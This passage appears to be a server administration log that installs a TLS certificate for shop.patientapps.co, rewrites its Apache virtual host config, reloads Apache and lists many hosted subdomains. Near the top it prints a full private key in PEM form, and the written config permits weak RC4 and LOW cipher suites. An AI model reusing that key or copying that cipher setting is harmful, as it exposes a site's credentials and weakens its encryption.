CgKCAQEAwOVydJqUeHoKcSoXtoT0YumUgrrikO7IBjx9jOC6aYMbjP1e/mmr9zEU
g+02ZGckKa9KAP2QLIC+gwyKI4yAeN1Ww1tSU6czvWJBDsMqOyAKZe2EvfZKc29j
Kw0v14nvPJhxPHKuL/8dUZa66ItmWBoOPyIzLQiifl6gJOXBFVqZvSuypCt9RRMH
7U5z8ycFOHj7DewkVlLHpkTWWpx8RCqrqqcCnjSdYuekDmGwQMqIqC+zG8Dm9jTX
cFj/qghWzPvIGncLTJodg+m3TKsV+lONlixnkunS3+RT7Ut7Xb66+5N0DofqhLUr
1q+3YAlUikyKw7rWHUGv5/A2UNLiwQIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FBJ3bs0pIRVva+bVXRz+cP0XHkzKMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc2hvcC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzExNy5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDCMX5X
RRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ7V/8GoAAAEAwBIMEYCIQC/
Fys3ii4McXILBUhVwCAO5IT3CD5CvaQjvYZnyK9/WgIhAIqQXulo5uJXnN5WJjv1
wMMp6bDuLZZ954nIZWi/IXSVAH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9
mRirRyMAAAGe1f/AyAAIAAAFAB7jsecEAwBHMEUCIQDh3styxZ9QbuAumLswEdUK
PlGEVQ8eDoT+B8BoIBYKTQIgavGhem2jRCnMrpNZCriK0uxrAStBeWnVmWuLEEJ8
q78wDQYJKoZIhvcNAQELBQADggEBAFivTwDpyCMS7S2/KZ8VAILD8eqMMYFicc6C
Mpm48NkvP9tQY79uhwVlhW1YJi+G7I1EOBGexj5oLQb8tIC20qYivrp4mdzeJKJd
bz9MQpUUyrV3DPzltovUespO9QNMAgLROUKYvXKHsAr0NBwNqrxeowB8h1KWpkpw
RDKl2xrqWtR9knvXLB/MIdzjnrP/pJzj+Qo15iYhAjGltvDR4GdiUrLnjw6FMbkc
dqIrLqxfwUhft3cmFkrGAx3f7WWbbM/4d4zdCvUrq6U5FPP4NEE/e/An+b+ShZEe
R5O5RvYZ61oPRrSTanBh61WgaKcqn4XPOTgWoyzblTKGSluJQFY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDA5XJ0mpR4egpx
Khe2hPRi6ZSCuuKQ7sgGPH2M4LppgxuM/V7+aav3MRSD7TZkZyQpr0oA/ZAsgL6D
DIojjIB43VbDW1JTpzO9YkEOwyo7IApl7YS99kpzb2MrDS/Xie88mHE8cq4v/x1R
lrroi2ZYGg4/IjMtCKJ+XqAk5cEVWpm9K7KkK31FEwftTnPzJwU4ePsN7CRWUsem
RNZanHxEKquqpwKeNJ1i56QOYbBAyoioL7MbwOb2NNdwWP+qCFbM+8gadwtMmh2D
6bdMqxX6U42WLGeS6dLf5FPtS3tdvrr7k3QOh+qEtSvWr7dgCVSKTIrDutYdQa/n
8DZQ0uLBAgMBAAECggEABKYjBYtqM6MhWEve6W+34iBmC2aMqliO6pOPpRMPexaF
VfcPUItkcR82Mt3HN1FDDlwiqPZzgJcTwF3PgH7U49TVz/yF9e0sMo7JKZ1riaRC
i+VXEyr57WFMXw/AzO2OngPAiufqqc54uuwqkgs2Cr6KBFyDJj00iV4nduwwpJ6R
Hzwwi7QMYUqPxqc9ZYZiIWDWHNHIYBh8xjaNhjfk3tbz4/sz7rjdgjlDlAGb3WbF
34/K8OuBgFpZo3WYOzXvGOp5HmV+UNFAeNozxxDN3tZnYRzdSqyBAttUFpRuPHu0
30CQGAQdEKXe8LTU5utwIFz9WegTah5dyTxzhHnizwKBgQDzn7hFa56I8k5suvIC
uFPkSNqv96PRFInt6oJZC/D88bVWT6cpROzDivKnL3A1xwB8ecYnixLsLPHxUygM
Hk06Iz+/9D2lApeChdp33KUj8lO46BRt3KnxLd4ttFaM/yUtJWRUJsup8EVnb/7u
A8vAAnByBQ4nIiPqxyYpNHpQdwKBgQDKsgZNtt/DE/kG8V2mWRZyQY2uk6puV+4m
M3s35QJbJCIR3HvFQ27fvrW6nmgO7616QhPjIhIn3cm/fViMVabNbpCrtKvfT1kG
wahjnkhoPkAj2g7VZop86AWCijwxkHKZG5A7xQRxukq36KHG43A4vxvritJlNF1m
ii5/YvIshwKBgQCQjYai+jY4/7z02v/aCVENtQS9QGzdFBi7KFhrSaCWFT0Jl32S
CSmK5RkRhh5Iammpcf/XWrfBlvF/xV2PwzMDegLLfLpO/Hi1o4J7eFosOA7hOiNV
BId5aUPZTpXEV2fRn8wl+lcB4GTt+RAEXhA5P7lEjidVpPY2yi+kZ1TkBQKBgF2N
XStxREWdakqyDC9C3wFNED+LGBZlrx0ilbRulm/KdY8Y3GdngDz0oJvJkO2T4dWT
ueoTR53u17bx+3SJ87rNVShq8wjWbpiXuUiBPZofYSsq8b283h5YWHKvqqiVqs7P
0fpELJDxEptfW4uYXatTSWelYwYi7Rjunhdda7jxAoGAVsSqI6ALJ0L6sIkvT6z6
U/lThjE5r65r5tbD7zKmD/dWKdhpcpIAhs1k5woHkVtW80wp7oOOXZ0J4aTtF2EN
yjAZFFWGlhWMTPmP4z0p624SpNHNlrcjUdoKrFoX+2fVpkI2LLgS4TukjzmK89ou
PeaF4SDawpE5sotUu/h9Yvg=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-17 14:32:51: 

chmod 755 /tmp/pkp471419; /tmp/pkp471419; rm /tmp/pkp471419

2026-06-17 14:32:51: 


dir=/etc/ssl/certs


2026-06-17 14:32:51: 

PUT: /tmp/pkp927746

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_shop_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-17 14:32:51: 

chmod 755 /tmp/pkp927746; /tmp/pkp927746; rm /tmp/pkp927746

2026-06-17 14:32:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 43

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>






2026-06-17 14:32:51: 

PUT: /tmp/pkp729355

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_shop_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_shop_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_shop_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf= 1'
fi


2026-06-17 14:32:51: 

chmod 755 /tmp/pkp729355; /tmp/pkp729355; rm /tmp/pkp729355

2026-06-17 14:32:51: 




2026-06-17 14:32:51: 

PUT: /tmp/pkp280489

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-17 14:32:51: 

chmod 755 /tmp/pkp280489; /tmp/pkp280489; rm /tmp/pkp280489

2026-06-17 14:32:51: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-17 14:32:51: Establishing a connection
2026-06-17 14:32:52: 

PUT: /tmp/pkp979547

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-17 14:32:52: 

chmod 755 /tmp/pkp979547; /tmp/pkp979547; rm /tmp/pkp979547

2026-06-17 14:32:52: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
